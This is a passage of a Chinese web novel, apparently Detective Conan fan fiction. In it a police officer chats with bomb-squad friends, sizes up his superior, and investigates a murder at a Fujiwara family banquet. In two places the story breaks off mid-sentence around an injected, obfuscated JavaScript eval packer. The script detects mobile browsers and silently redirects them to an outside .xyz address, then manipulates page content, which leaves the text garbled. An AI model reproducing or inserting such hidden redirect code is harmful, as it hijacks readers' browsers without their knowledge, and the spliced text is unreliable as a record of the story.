《恋爱版块被上交给国家了》 7.007 “你近视了?” “没。” “那干嘛戴个眼镜。” “看起来很奇怪吗?” 松田阵平从面前的那堆零件里抬起头,盯着那张笑脸足足看了半分钟,又低头重新研究起来:“说不上来哪里不对,反正就是看不惯。” 一之羽巡推了推镜框,十指交叉垫着下巴,笑眯眯道:“你再多看一会儿就习惯了。” “有病。”松田阵平无语,那些摆弄了两天的稀缺零件莫名其妙变得没那么有意思了,干脆把东西往桌子上一扔,任由拼了一半的东西稀里哗啦碎成最原始的模样,抱肘靠在椅背上,毫不客气道:“我为什么要把你的脸看习惯?” “我们不是朋友吗?” “……” 那个疑惑反问的语气太过理所当然,松田阵平一时之间竟然没能直接反驳,停顿了那一下后再去矢口否认显得他是故意要这么说,太过幼稚,一来一回竟然话到嘴边却一个字都没说出来。 一之羽巡看着松田阵平脸上憋得青一阵白一阵欲言又止的表情,畅快地笑了一声。 他倒不是因为记着当年推不了任务进度的仇刻意每每噎这一句,但每次来机动队找萩原研二的时候总要顺带见一面这位松田小队长,时间久了也品出点儿额外的乐趣,总想逗一下。 “你们在聊什么?让我也开心一下。” 未闻其人先闻其声,萩原研二推门走进来。 “呦,几天不见,我们一之羽警官怎么突然戴上眼镜了?” 一之羽巡现在要怀疑这副眼镜真的哪儿不太对劲了,不然怎么谁看到都要问一嘴,他把眼镜摘下来翻看了一下,“有人建议我说,戴副眼镜看起来会更有亲和力。” 萩原研二立刻反应过来其中奥妙。 一之羽巡一直因为自己的长相而困扰,跟他们这种主要任务是跟炸弹打交道的排爆警察不同,一之羽巡那边的工作,无论是受害者、嫌疑人还是目击证人,总归免不了要和人打交道。 他随手拉过把椅子到客人身旁坐下,拄着下巴光明正大地看了一会儿,点头:“的确,感觉看着更好说话了。” 他接过一之羽巡递来的眼镜试戴了一下,不出所料:“果然是平光镜啊。” 一之羽巡说:“毕竟我不是真的近视嘛,但只戴个空镜框又显得不太正式。” 那天帮苏格兰处理过伤口后,隔天苏格兰突然约他见面,送了他这副眼镜便匆匆离开,只说是回礼。 他觉得一袋药店里随时随地都能买到的药和绷带根本抵不上这种一看就知道价格不低的礼物,但苏格兰说恋人之间算那么清楚做什么,他倒也没回绝的理由。 他不确定苏格兰送他这个是不是看出了他对自己外貌天然带着距离感的困扰,不过苏格兰确实很擅长伪装,他以前不是没尝试过用眼镜装扮自己,然而效果不佳,这副看起来平平无奇的眼镜却轻松解决了他一直以来的烦恼。 萩原研二突然来了兴致:“你在哪里买的眼镜?我最近在忙警视厅的安全宣传讲座,戴个眼镜说不定看起来更有信服力,我也想买个同款。” 一之羽巡重新把眼镜戴好,含糊道:“是收到的礼物,改天我帮你问一下好了。” 萩原研二意念一动,没由来的从模糊不清的答案中嗅到了一丝不同,他和一之羽巡认识已经不是一天两天的事,感知周围的人的情绪变化更一向是他的强项,不过没等他开口,桌子另一侧的松田阵平十分自然地问出了他想问的那个问题:“啊,就是那个跟你说戴眼镜显得更有亲和力的人送你的吧?” 一之羽巡笑着应下来:“是啊,松田警官,你好聪明啊。” 松田阵平拍了两下桌子,一脸不爽:“……你能不能别用那种哄狗的语气跟我说话了!” “有吗?……萩原,你觉得呢?” 萩原研二认真思索:“如果小阵平是狗的话……杜宾犬?柴犬?萨摩耶?” “哈士奇吧。”一之羽巡瞥了一眼散在桌子上的一大堆零件,意有所指:“擅长拆家。” “喔,好有道理!但是……” 松田阵平怒:“喂!!你们两个找打吗?!” 原本的话题在插科打诨中被一笔带过,午休时间结束,一之羽巡回了警察厅。 他没去公安课,而是去了图像情报分析室,同行的还有兴致勃勃来帮忙的萩原研二和打着哈欠习惯性跟上萩原研二脚步的松田阵平。 自从上次公交车上制服劫匪以后,搜查一课那边跟他的关系热络了不少,上午目暮警官问他有个案子能不能帮忙看一眼,他手里没大活,闲着也是闲着,就去了一趟隔壁警视厅,也正好把每日一善的任务做了。 不算大麻烦,一眼就能看出关窍,不过还需要一些确切的资料佐证,警视厅的权限比警察厅低,最要紧的那份资料没有存案,申请查询权限又要走一套繁琐流程,一时半会儿肯定是弄不完了,正巧他前段时间负责藤原家族的案子时拿到过相关权限还没过期,便让目暮警官跟上面报备一下,他直接用自己的权限去调卷宗。 搜查一课跟警备企划课的态度天差地别,没催着他尽快给结果,一边客气感谢一边让他这周有空的时候帮忙查一下就行。搜查一课不急,不过他急着打卡每日任务,午休时间很多科室没人,他干脆先去了搜查一课楼上的机动队,准备等午休结束以后再回去查资料。 前段时间为了藤原家族的案子隔三差五就往图像情报分析室跑,这个科室的负责人已经眼熟他了,很快便走完流程放他们进了资料库。 信息化时代来临,警务系统已经开始逐渐改革为电子存档,但早年的案件数量庞大,一些陈年旧案的卷宗还是得以最传统的方式才能查询到。 萩原研二也想起了前段时间一之羽巡找自己搭的那个线:“说起来,上次牵涉到藤原警视长的那个案子怎么样了?” 一之羽巡轻描淡写道:“被警备企划课接手了。” 萩原研二一哽,想到警备企划课在某方面的名声,一下子对最近跟某个大忙人见面次数显著增多明白了什么,丝滑地换了个话题。 “一之羽,无聊的时候要不要来跟我一起来大学办宣传讲座?你戴眼镜以后更适合了,还可以冒充大学生在台下配合我……最近这次是去东都大学,下一站去东大,正好是你的母校。” 松田阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15362159|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平午觉没睡够,稀里糊涂再反应过来已经跟一屋子的卷宗面面相觑,他伸了个懒腰,插了一嘴:“你天天说什么以身相许挖机动队墙脚,我看你最近也没什么事,萩帮你也不是一次两次了,怎么不见你也以身相许报答一下机动队……你会拆弹对吧?把资格证考下来我倒是可以考虑考虑接收你……” 萩原研二提醒:“小阵平,一之羽是警视,真以身相许嫁过来会变成你的上司。” 松田阵平:……艹!忘了这茬了! 怎么会有人只比他大一岁却比他警衔高了两级?! 一之羽巡隔着一面书架,笑着说:“不行啊,我嫁不了,我不是单身啊。” 场面骤然安静了一瞬,萩原研二慢半拍地找回自己的声音:“你……你恋爱了?什么时候的事?” “嗯?我没跟你们提过吗?不过其实上次吃饭的时候也才刚确认关系不久。” 一之羽巡去拿另一卷卷宗的时候才发现松田阵平还在一旁一动不动地站着,他凑过去问:“有什么发现吗?” “你你你——” 松田阵平“你”了好一会儿,终于夺回对舌头的控制权,难以置信:“竟然有人能忍得了你这种奇葩个性?!而且你天天加班上哪找到的人谈恋爱的?!” 一之羽巡耸耸肩:“照这么说的话,那我该跟松田警官你谈恋爱,我们认识几年了也没有绝交,说明性格方面可以磨合,而且你也很忙,我们还能一起相约加班。” 松田阵平大惊失色:“你想得美,谁要跟你一起加班?!” “哦?只是不愿意和我一起加班,但不介意跟我恋爱吗?” “哈?你在说什么鬼话……喂!” 一之羽巡突然往前迈了一步,两人间的距离急剧压缩,松田阵平紧急避险往后撤了一步,不小心撞到了身后的书架,他分神抬手去接掉落的卷宗,忘了躲开朝自己面前探来的那只手。 松田阵平眼睁睁看着那只手离自己的脸越来越近,表情僵硬:“你搞什——” 一之羽巡抬手把松田阵平身后书架上的卷宗拿下来,吹了吹灰尘,转身喊萩原研二过来:“我找到了!萩原!萩原你在哪?” 松田阵平:“……” 他虚空朝着那个背影挥了两拳解恨:“你完全可以告诉我位置让我来拿或者让我躲开!” 一之羽巡转头奇怪道:“那种小事就别在意了吧。” 松田阵平:“什么叫那种小事,你这家伙真让人火大!” “萩原?萩……原来你在这里!” 一之羽巡把卷宗摊开,正要开始分析,慢半拍地察觉到一点儿不对劲。 “怎么了?身体不舒服吗?” 萩原研二摇摇头,笑了笑,但笑容有些勉强:“我没事,找到就好,看卷宗吧。” 一之羽巡盯着萩原研二看了几秒,干脆利落地把刚摊开的卷宗合上收进了公文包。 “我想休息了,你们陪我一起吧。” 刚追上来的松田阵平:“哈?不是刚午休过吗?而且你这家伙我行我素的毛病什么时候能改——” “我请客。” “——改不改都行。” 8.008 说是休息,但再怎么闲也不可能真跑去肆意享受,他们最终一起在距离警视厅不到百米的甜品店坐下。 萩原研二知道是因为自己一之羽巡才会突然提议出来休息,按这人以往的行事风格,这会儿本该已经去搜查一课走过一趟然后直接回警察厅了,绝对不可能容忍自己工作时间还在外面闲逛。 ……不知道那人猜到了多少。 他有时候觉得一之羽巡这个人很神奇,与其说是对别人的情绪变化很敏感,不如说是对周遭任何事物的变化很敏锐,习惯将一切把握在掌心。 萩原研二不想耽误那位工作狂的时间,但现在回去显然也不对,他主动提起:“那份卷宗……” 一之羽巡把谈正事的苗头一巴掌按下去:“等回去以后再看也来得及。” 他没说太多,其实在资料库的时候他扫过一遍卷宗的内容,已经记住了,路上把案子在脑子里复盘了一遍,结论和他在搜查一课推断出的别无二致,刚刚跟目暮警官发简讯沟通确认了一下,一会儿去搜查一课把卷宗送到就行,也花不了多长时间。 见萩原研二一副还想再说些什么的模样,一之羽巡立刻挑了个新话题:“说起来,你怎么突然去大学办讲座了?” 萩原研二还没说话,倒是一旁的松田阵平“啪嗒”一声重重地把杯子放在了桌上,一脸不爽。 一之羽巡顺手把盘子里的草莓放到松田阵平的盘子里,问当事人:“有什么隐情吗?” 萩原研二无奈解释:“我们这边虽然没有公安课那么忙,但一忙起来人手其实也不太够用……但上面都敲定好了,通知到我们这里,也不好再拒绝。” 爆/炸/物处理班对队员水准要求很高,层层把关也层层筛选,松田阵平上任后更是宁缺毋滥,今年甚至只招到一个各方面都合格的新人,在资料库里的时候会说干脆让一之羽巡考个排爆资质证来机动队这种话,也诠释了他们目前的窘境。 安全宣传讲座这种活怎么看都轮不到安在机动队的人头上,起初确实如此,可原定的主讲人在巡讲到东都大学站时下楼梯踩空意外骨折,一时间找不到合适的人接手,焦头烂额之际,有人想到了萩原研二这位大名鼎鼎的警视厅之友。 既然整个警视厅的人都能搞定,那清澈的大学生们也一定不在话下,于是萩原研二临危受命。 松田阵平对此相当不服气,气势汹汹地找到上司抗议,而后被上司以能力越大责任越大为由三言两语哄出了办公室,完败。 一之羽巡稍微回忆了一下机动队如今的负责人是谁,恍然大悟。那的确是松田阵平最难招架的类型,一名年长他们二十岁女警官,曾经在警校做过指导教官,语气温柔客气轻声细语,但聊着聊着就会被绕进坑里。 他们没准备在甜品店待太久,看时间差不多了,一之羽巡率先起身去结账。 这家甜品店就开在警务大楼附近,味道又不错,一之羽巡经常光顾,时间一长,和店员的关系还算不错。他一边拿出钱包付钱,顿了顿,又让店员给他装了几颗巧克力。 等待的空隙,他随口道:“隔壁似乎在装修?” 正在找零的店员顿时来了精神,两眼放光:“隔壁那家新店也是我们老板开的,是一家手作店,要不要来体验一下?一之羽警官你是老顾客了,可以打八折!” 她又抬头看了面前那位熟客一眼,捂住胸口,斩钉截铁道:“我给你打五折!!” 一之羽巡没接触过这类店,来了点兴趣:“手作店?” 店员翻出今天新鲜出炉还没开始分发的传单,“可以来画画,可以做陶瓷,可以亲手打磨戒指,还有……” 她敏锐地发现在提到某一句时对方换了个姿势听,当即轻咳一声,把已经找好的零钱放回去重新找了一遍,明示暗示轮番上阵:“……亲手打磨的戒指非常有意义,如果是我收到一定会感动到落泪的!带喜欢的人一起来的话,两个小时一直待在一起相互配合,还可以增进感情哦!” 一之羽巡摸了摸下巴,忽然感受到来自背后的灼人视线,借着接过零钱的动作侧头看了一眼,不远处跟他对上视线的萩原研二愣了一下,而后笑着朝他点了下头。 不知道是不是错觉,刚刚萩原研二看的人似乎不是他。 一之羽巡收回视线,若有所思,还是觉得萩原研二刚刚看的人更像是正和他说话的这位店员,也可能是摆在店员旁边的新品蛋糕。 一之羽巡没当回事,看到漂亮的人多看一眼很正常,他遇到外表出色的人也会习惯性多看几眼。 毕竟建模好看的NPC往往更容易触发隐藏任务。 做手工的店,放在以前一之羽巡当然不会感兴趣,但他现在在设定上是热恋中。苏格兰送了他从北海道带回来的特产还有眼镜,于情于理他都该准备些礼物还回去,同价位的回礼早就已经买好了,同等意义的也可以酌情加上。 自己做的戒指,听着倒是一个不错的选择。 他笑着问:“需要提前预约吗?” 不远处,松田阵平看着跟店员聊得热火朝天的背影,用手肘推了推好友:“你也觉得很奇怪对吧?” 萩原研二:“……你指突然就有了恋人吗?” “就是啊!” 松田阵平憋得五官快纠在一块了,想破脑袋还是无法理解:“他不会是又在乱说了吧?他这个人不一直都这样吗,冷不丁就冒出来一两句莫名其妙的话……主要是,怎么可能会有人喜欢上一之羽巡?!” 毒舌,虚伪,功利心,固执己见,爱装模作样,对外永远一张笑脸,私下里满嘴跑火车……如果不是当年间接救了萩的命,萩又总是喜欢往那边跑,他绝对不可能跟这种个性的人成为朋友。 况且那家伙跟个陀螺一样忙得连轴转,哪来的第25个小时追人谈恋爱的? 刹那间松田阵平意识到一个恐怖的问题:莫非一之羽巡是被追的那个吗?!——这不科学! 萩原研二沉默了一会儿,垂着眸子仿佛在思考什么,太过入神,以至于最后忘了回答,所幸松田阵平还在怀疑人生中,没看出什么异常。 一之羽巡把传单收好,回去找在门口等他的两人。 “不好意思,久等了。”见气氛略微奇怪,他问:“刚刚在聊什么?” 松田阵平正要开口,被萩原研二笑着打断了:“没想到你对做手工感兴趣,隔壁开的是分店,他们家的第一家店我去过。” “早知道当时该邀请你一起去玩的。”他语气中的晦涩一晃而过,瞬间又烟消云散,无影无踪。 松田阵平插了一句,奇怪道:“啊?你什么时候去的,我怎么不知道。” “有机会一起再去一次吧,我还挺想玩玩看的。”一之羽巡把结账时买的巧克力拿出来:“尝尝?” 松田阵平探头问:“这是什么?” “巧克力盲盒,这家的巧克力味道非常不错。” “盲盒?……有点儿意思。”松田阵平也不客气,随机拿了一个拆开包装扔进嘴里,眼睛一亮:“草莓牛奶!” 松田阵平还在嚼嚼嚼,不忘关注今天格外沉默的幼驯染:“你的是什么口味?” 萩原研二咬了一口手里的巧克力,表情诡异地空白了一秒。 一之羽巡迟疑:“不会是黑巧吧?” 萩原研二苦着脸点了点头,他眼尾天生较旁人下垂些,眸光明亮,衬得眉目多情,此刻紫色的眸子里蒙着一层阴影,或许可以算作因祸得福,终于能借这颗巧克力在某个过分敏锐的人面前露出复杂的表情。 味道已经完全写在脸上了,一之羽巡一直觉得这位警视厅之友的热情善谈下其实是一层忧郁懒散的底色,话虽如此,但也 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身后传来轻快的笑声,他转过身,幼驯染侧头注视着那个戴着眼镜的公安,比比划划又说了什么,于是对方也跟着笑起来……虽然早就知道自己那位幼驯染看狗都深情,可那副画面还是让松田阵平脑子嗡的一声,毫无征兆地怔了一下。 他还是没能看惯一之羽巡,不止是指看不惯那个人的处事风格,也是因为他那张脸的表情总是大差不差仿若一张完美的假面,否则也不至于认识到现在他才后知后觉地反应过来,其实一之羽巡长得还算好看。 刚要对那张脸有个大致概念,那人又戴上了眼镜,换了一个造型,让他不得不从头开始。 他想起刚毕业那年,他拽着没穿防爆服的幼驯染兼下属大骂一通,即使看到人就活生生站在面前也还是不受控制地被意识到不对的那一刻的恐惧感淹没头顶,最终在幼驯染熟悉的讨饶声中才勉强上岸,恍若重返人间。 他勒令幼驯染去找救命恩人道谢,避开爆/炸/物处理班所有人,独自靠在车旁颤着手抽了支烟,听着自己迟迟慢不下来的心跳声,仿佛自己也亲身经历了一场劫后余生。 几天后,机动队的办公室里,一阵风吹起幼驯染的笔记本,或许是那页最近被翻开过很多次,他一眼就看到了里面工工整整写下的名字。 【一之羽巡】 “那天抓到了炸弹犯的人,他叫一之羽巡。”站在一旁的幼驯染如此说,大大方方地把笔记本摊开,向他展示了那个名字的写法。 “他是警察厅的,比我们早一届毕业,之前在警视厅这边轮过岗,所以不少人都认识他,我也想找机会跟他认识一下……啊,这位前辈,真厉害啊,就算是和他合不来的人提到他的时候也会黑着脸说一句‘虽然不想承认,但那家伙确实有两把刷子’。” 一之羽巡,他当然记得那个名字,当年在警校受训,教官们提过不止一次,最重要的是那是救下了萩原研二的人,他不专门去打听一遍才不正常。 光环众多,荣耀满身,前途不可估量的明日之星,完美到简直不像个真实存在的人,是他最合不来的类型。 但那是让萩原研二死里逃生的救命恩人,他一辈子都剥离不了那层滤镜。 此时此刻,松田阵平看着勾肩搭背地朝自己走来的两人,一阵风吹过,他眯了眯眼,在晚冬的寂静中,他模糊地捕捉到了一点东西,可惜就像风会从指缝溜走一样,和三年前一样,他没能抓到实处。 “你们两个能不能走快点!”松田阵平没好气地大声喊,打破周遭被冬日冻住的沉寂:“再磨蹭下去搜查一课下班了!” “是是……松田大人……” “班长不是说搜查一课每天都加班的吗?” “啰嗦!快跟上!” 9.009 从藤原家族那个案子开始,一之羽巡就仿佛被隔绝出了公安课的繁忙,一来一回反倒是飞鸟警官那个听着不太正经的恋爱任务变成了主业。 一之羽巡照旧检查着自己的花,顺带看了一遍办公室里的其他绿植,又有人擅自给他的花浇了水,只有他这盆。 他看着自己呵护许久即将开放的花苞,思索片刻,去储物柜里拿了点儿东西,乘电梯抵达顶楼。 十八楼依然充斥着其他楼层罕见的寂静,只有走廊上的监控闪烁着信号灯还能证明时间的流速仍旧存在,一之羽巡站在一扇熟悉的门前,敲了敲门,几乎是同一刻,门内响起一声:“进。” “打扰了。” 同上次一样,那位顶头上司在喝茶,甚至连表情都与记忆中分毫不差。 飞鸟长官看起来并不意外他的不请自来,反而像早就有所预料,已经等待良久了,拿着一只空茶杯问:“尝尝?” 上司不摆架子不代表真就地位平等可以为所欲为了,一之羽巡把表面功夫做到位,力求挑不出任何错处,微微鞠躬:“我的荣幸。” 飞鸟长官摆摆手:“坐吧,不用客气。” 这次不知道是什么种类的茶叶,一之羽巡没喝出来,那就首先可以排除玉露。 “任务进展如何?” “目前一切顺利。” 这是意料之中的答案,飞鸟长官面露满意之色:“一之羽君,接下来的半个月也辛苦了。” 一周一次例行的秘密汇报,内容照上次相比没什么新奇,不过他今天可不准备只是说几句没营养的话这么简单。 一之羽巡拿出早就准备好的东西,双手奉上。 “哦?你这是……”飞鸟长官没把话说完全,留了充足的时间让那个并非他直系下属的年轻人解释。 对方不接,这很正常,坐到这个位置,对贿赂见怪不怪,但那是个敏感的话题。 一之羽巡干脆把袋子里的东西拿出来,“只是一包普通的咖啡豆而已。” 飞鸟长官闻言表情回暖,目光触及咖啡豆的包装时神情刹那间变了。 一之羽巡一脸诚恳,对那束审视的目光恍若未觉:“谢谢您送之前我茶叶,我兄长说那种茶叶很难得,这是回礼,不是什么贵重的东西,希望您别嫌弃。” 不知道究竟是哪个关键词触动了神经,飞鸟长官缓缓伸手,接过了那袋咖啡豆,在掌心翻看了一下,仿佛在确认了什么。 他语气略显古怪:“这是你兄长托你带来的?” “是,就是不知道您喝不喝的惯。” ——当然不是。 他最近根本没去一之羽青词那里刷存在感,飞鸟长官送的茶叶还在他公寓里好好放着,不过说成是一之羽青词送的也差不多,毕竟那的确是一之羽青词买的。 一之羽青词喜欢茶,他喜欢咖啡,兄弟之间按照对方的喜好互送礼物也是正常现象。 既然据萩原研二所说,飞鸟长官十年前喜欢咖啡而非茶,并且对咖啡豆要求很高,正好可以借着这次汇报的机会用兄长送的咖啡豆试探一下。 过了好一会儿飞鸟长官才再度抬眸看过来,仔细看时才能看出他眉间隐隐浮现的皱痕,看起来不甚在意地随手把咖啡豆放在一旁。 飞鸟长官说:“喝得惯,你有心了。” 飞鸟长官没解释怎么还没喝就知道自己喝得惯,不过已经得到了想要的答案,一之羽巡也不过多追问,起身准备离开。 临出门前,飞鸟长官突然叫住他:“一之羽君,你的兄长是生物学家吧?” 脑海中闪过一张温润的面容,一之羽巡转头笑道:“没错,不过有时候我倒觉得他更像个植物学家。” 这位设定上的兄长一之羽青词平生没有其他爱好,每天两眼一整就是种种种,不是农民胜似农民。一之羽巡至今仍旧坚信一定还有什么隐藏任务在一之羽青词身上,否则策划没必要多此一举地设定出这么一位哥哥,就好像否则就没必要设定这样一位履历异常精彩的顶头上司。 他心念忽的一动,松开门把手,借着这个话题问下去:“您养过绿植吗?” “怎么突然提起这个?” “我兄长曾经对我说,一个人培育出的盆栽也足以彰显出一个人的个性,掌控一切还是放任自由生长,粗心还是严谨……” 一之羽巡说:“感觉您会是每天都好好检查枝叶,定时定量给盆栽浇水的类型呢,很适合养绿植。” 飞鸟长官笑容纹丝未动,慢悠悠地喝了口茶,没有回答。 没得到答案,一之羽巡也不在意,真三言两语试探出了红方首领的底细他才要怀疑结论的真伪。 他礼貌点头:“下周见,飞鸟长官。” …… “一之羽,你回来了。” 回到办公室,刚刚忙完暂且获得一丝喘息的功夫的忍足警官正瘫在工位里思考人生,主动抬手打了声招呼,又像突然想起什么似的,起身从一堆文件和卷宗里翻出一张金光闪闪的卡片。 “那什么邀请函,堵到门口了。” 一之羽巡坐下:“什么活动?” “还能是什么,纸醉金迷的商业晚宴啊……这次是藤原财团送的,藤原静承那个藤原。” 职业习惯,忍足警官对着光检查起这封邀请函,嘴里念念有词:“果然是瞎子都看得出你前途无量,谁都想先下手为强,奈何你宁折不弯,从来都不……” “在哪家酒店?” “安虹,就是那个外面看奇形怪状,说是知名建筑家设计的那个,建成的时候我们还讨论过,出了事不方便疏散,但挺适合封锁现场的,构造也太艺术性……” 忍足警官说着说着停顿了一下,摆摆手:“哈哈哈哈我刚听错了,差点以为你要去呢,吓我一跳。” 一之羽巡把忍足警官手里的邀请函拿过来,记下时间地点,“前辈,你还没到需要怀疑自己听力的年龄吧。” “哈?!!” 电光火石间,忍足警官突然明白了什么,一脸我懂了的表情:“藤原小姐可是一位美人,啧啧啧,你小子……” “你想哪儿去了。”一之羽巡晃了晃指尖夹着的邀请函,“闲着也是闲着,就当去吃自助餐了。” 他看着邀请函上【藤原财团】的标识,单手托着下巴,又重复了一遍:“闲着也是闲着。” …… 藤原家族,一个过分全面的家族,商警政三界全开花,相辅相成,扎根串连,难以撼动。 不久前他接手了一个牵扯到藤原家的案子,没能调查到最后,被警备企划课中途截胡。 这是他进入游戏以来第一个经手过却没亲手揭开谜底的案子,本以为警备企划课拿了他的资料会加速结案,半个月过去,竟然就这么不了了之了,再无后续。 藤原家是个大家族,大到家族内部也有一些明争暗斗和各系分支,这次送来邀请函的是他以前从未接触过的一支。 不过按照早前的调查,不出意外,那个目标角色也会参加这场宴会。 上一次进这种场合是去年的事情,为了执行公安的秘密任务,当时还被忍足警官怨念吐槽了半个月,凭什么他们要假扮侍应生和保安,他却能装成宾客入场。 洗手间里只有一个人,一之羽巡对着镜子整理衣襟,太久不这么穿,总觉得不太舒服,如果出现个突发状况,这种衣服不方便做大动作,华而不实。 镜子里的黑发青年面露无奈。 真是在警察厅待久了,都快被洗脑了,下意识就往假如出了问题的角度想,哪来的那么多突发状况? ——直到会场的灯毫无征兆熄灭的那一刻,一之羽巡一直是这样认为的。 一片漆黑中,一个幽灵般的影子突兀一晃而过。 一之羽巡皱眉,正要突破人群追上去,一旁因为突如其来的黑暗而抱住他胳膊的人让他失去了这一瞬先机,再想追寻时那个黑影已经悄无声息融入人群,仿佛水滴落入大海,不留丁点儿痕迹。 几秒后,随着抱怨声和安抚声,会场的供电系统在工作人员的抢修下恢复,灯光重新亮起。 刚刚正和他握手寒暄的藤原小姐不好意思地松开手:“抱歉,下意识就……” 一之羽巡敷衍地回了一句,目光还在追寻那个黑影消失的方向,下一秒,他神情凝滞,尖锐的尖叫声跟他厉声的“退开”一并响起,仿佛连头顶华丽的水晶吊灯也跟着震动起来。 一个男人倒在血泊里,已经毫无声息。 心脏中刀,一击毙命,凶手的手法纯熟,要么是演练了无数次,要么就是买凶杀人,是个请来的专业人士。 血泊中似乎掉了什么东西,像是一块肉,一之羽巡微微皱眉,定睛一看,那竟然是被割掉的舌头。 ……怪不得嘴里那么多血。虽然心脏中刀吐血是正常现象,但的确未免多的有些反常了。 看清了那块肉的不止一之羽巡一人,这场晚宴的主人在血色的浪涛中几乎被掀翻,死死抓着旁边那人的胳膊才勉强稳住身体,指甲几乎嵌到肉里,一脸惊恐:“他他他他,叔叔他,他的舌——” “藤原小姐!”一双手突然挡在她眼前,隔绝了她与那双死不瞑目满眼恐惧的眼睛的对视,掌心没有碰到她分毫。 她缓慢地回过神,那位据说很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404261|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难搞怎么都邀请不来的一之羽警官神情肃穆,盯着她一字一顿道:“冷静下来,警方马上就到,这里现在还需要你。” 二十年来接受的精英教育刹那间逼迫理智回笼,藤原小姐的手还在止不住的颤抖,做了个深呼吸勉强找回声音,小腿发软,扶着身旁那人的手臂才勉强站直。 “大家请听我说!请勿随意走动,更不要单独行动,留在会场和所有人待在一起才是最安全的!” “让所有工作人员都出来,互相确认身份,一起封锁现场,不准任何人进出!” “是,大小姐!!” “一之羽警官,这样可以……一之羽警官?人呢?!” 藤原静承,宴会的主办人,是这一脉新上任的掌权人,死者名为藤原浩二,名义上算是藤原静承的叔叔。 藤原家实在是人丁兴旺,族谱七拐八绕,当初为了理清那些乱七八糟的关系费了他不少时间。藤原浩二和藤原静承不是同一支,血缘关系也几乎为零,只是共用一个姓氏,但利益才是维系关系的最佳纽带,所以藤原浩二才会出席这场宴会。 照他之前进行的调查,藤原浩二跟黑/道关联很深,这些年犯下的事也不小,像小山一样堆在一起,可偏偏警备企划课半个多月了还是一点儿动静都没有。 一之羽巡一把拉开窗,窗外风声大作,他眯着眼,探出头向上方看去。 刚刚会场里的一切在脑海中化为数据重现,他的站位,死者的站位,凶手的站位,这栋楼的构造,撤离能够使用的路线……凶手一定还没能离开,正藏在暗处观察注视着一切。 凶手很专业,一刀取人性命,一刀割掉舌头震慑人心,下手干脆利落,离开时也不拖泥带水。 杀手和雇佣兵,一群亡命之徒,他们行走在社会的阴影中,极其偶尔才能看到尖刀边缘的反光,与被害人的社会关系为零,甚至是社会关系为零查无此人,如果未能现场逮捕,事后采用常规的刑侦手段大多很难抓住他们。 会场这边,搜查一课的目暮警官一脸严肃:“宾客名单拿到了吗?” “两人临时有事没有出席,三人提前离场并且已经确认案发时有不在场证明,除此之外都还在现场。” “工作人员呢?侍应生,保安,保洁,后厨。” “人数齐全,互相都能指认,没有任何异常。” 搜查一课的小刑警汇报完,只觉得头秃,又说:“已经有宾客开始有异议了,有说自己的时间很宝贵我们赔不起的,有说凭什么让他们跟杀人犯待在一起的,还有要这里指挥权最高的人亲自去见他的……” “目暮警官,上面有人打电话来说,半个小时内必须放人,他们真的是……!” 搜查一课的进退维谷不在一之羽巡的管辖范畴,他只需要警方能够正式接管这里封锁现场就够了,他轻巧地跳到露台,如他所料,这有近期留下的攀爬痕迹。 天台早就搜查过,一无所获,不过以他对这个酒店构造的猜想,中间大概率还有个装修时工人们使用的隐藏悬空平台,直接从楼梯上去到不了,得从外面爬上去。 他身体紧贴墙壁维持平衡,握紧手枪—— 没猜错的话,凶手这会儿还在等待接应脱身。 这不是一个复杂的案子,与其说是侦破,不如说是重点在于思考一个专业的杀手会如何做。 他不会把自己藏在人群中,因为他没有一定社会地位,也没有社交网络,很容易被人识破,那群利益至上的商人能轻松辨认出你是否属于我们这个阶层你来自哪个家族哪个企业甚至是你有几分家底,杀手没有那么多时间也必要花那么多时间去构建社会背景。 杀人,藏身,不需要任何善后,只需要让雇主知道想杀的人已经死了就足够了,有时候对这行的人来说,不是悄无声息反而更好,顺势打出名气才能吸引更多生意。 比起搜查一课,这更适合报给偶尔不讲理的公安解决。 一之羽巡缓缓吐出一口气,小心起身,无论他有没有猜错,现在都不能惊动任何人,以防打草惊蛇。 一双手猝不及防从背后伸出,把他拉入黑暗。一手按住他的腰身钳制住他的动作,另一只手则死死捂住他的口鼻,无法发出任何声音。 “——?!” 一之羽巡瞳孔一缩,立刻抬起手肘狠狠击向黑影的腹部,随着吃痛的抽气声,所有本能做出的反击和接下来无数一招制敌的方案在听到熟悉的嗓音的瞬间顷刻瓦解。 身后的人没松手,凑近他的耳畔,声音压得极低几乎只剩下气音,在夜间的气温下,倒更像刻意在他耳后呼了口热气。 “……是我。” 10.010 ——身为公安警察的你,在进行一起命案调查时,撞到了半个小时前还在简讯中跟你互诉爱意的恋人,你会怎么做? 诸伏景光看着与自己拉开距离正皱眉沉吟的人,没有出声打扰。 他自己现在也急需安静思考一下。 今晚的任务一切顺利,唯一的变数是,撤离时,途中暂且藏身的建筑物突然被全面封锁。他制服了似乎是导致了这场封锁出现的角色,然而接下来如何脱身还是难题,正思量应对之策,另一人的出现彻底将他的原计划打乱。 他没想到会在这种场合以这种身份和一之羽巡见面。虽然一直以苏格兰称呼,但一之羽巡并不知晓这个代号究竟还有什么深意,也并不清楚组织的存在。 他和楼下的那场混乱并无关联,但他无法解释自己为什么会藏身于此不敢现身。 三分钟后,一之羽巡终于动了。 诸伏景光看着那人平静迈过躺在地上陷入昏迷的真凶朝自己走来,边走边摘下了不久前自己送给他的眼镜。 